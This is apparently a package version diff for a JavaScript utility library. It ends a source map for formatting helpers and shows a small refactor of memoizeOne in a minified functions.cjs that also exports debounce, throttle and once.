}).format(value);\n}\n"],"mappings":"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"}

package/dist/utils/functions.cjs

@@ -1,2 +1,2 @@
-function e(e,t){let n,r=(...r)=>{n!==void 0&&clearTimeout(n),n=setTimeout(()=>{n=void 0,e(...r)},t)};return r.cancel=()=>{n!==void 0&&(clearTimeout(n),n=void 0)},r}function t(e,t){let n,r,i=0,a=t=>{i=Date.now(),e(...t)},o=(...e)=>{let o=t-(Date.now()-i);o<=0?(n!==void 0&&(clearTimeout(n),n=void 0),a(e)):(r=e,n===void 0&&(n=setTimeout(()=>{if(n=void 0,r!==void 0){let e=r;r=void 0,a(e)}},o)))};return o.cancel=()=>{n!==void 0&&(clearTimeout(n),n=void 0),r=void 0,i=0},o}function n(e){let t=!1,n;return(...r)=>(t||(t=!0,n=e(...r)),n)}function r(e){let t=!1,n,r,i=e=>{if(!t||e.length!==n.length)return!1;for(let t=0;t<e.length;t++)if(!Object.is(e[t],n[t]))return!1;return!0};return(...a)=>i(a)?r:(n=a,r=e(...a),t=!0,r)}exports.debounce=e,exports.memoizeOne=r,exports.once=n,exports.throttle=t;
+function e(e,t){let n,r=(...r)=>{n!==void 0&&clearTimeout(n),n=setTimeout(()=>{n=void 0,e(...r)},t)};return r.cancel=()=>{n!==void 0&&(clearTimeout(n),n=void 0)},r}function t(e,t){let n,r,i=0,a=t=>{i=Date.now(),e(...t)},o=(...e)=>{let o=t-(Date.now()-i);o<=0?(n!==void 0&&(clearTimeout(n),n=void 0),a(e)):(r=e,n===void 0&&(n=setTimeout(()=>{if(n=void 0,r!==void 0){let e=r;r=void 0,a(e)}},o)))};return o.cancel=()=>{n!==void 0&&(clearTimeout(n),n=void 0),r=void 0,i=0},o}function n(e){let t=!1,n;return(...r)=>(t||(t=!0,n=e(...r)),n)}function r(e){let t=!1,n,r,i=e=>{if(!t||e.length!==n.length)return!1;for(let t=0;t<e.length;t++)if(!Object.is(e[t],n[t]))return!1;return!0};return(...a)=>(i(a)||(n=a,r=e(...a),t=!0),r)}exports.debounce=e,exports.memoizeOne=r,exports.once=n,exports.throttle=t;
 //# sourceMappingURL=functions.cjs.map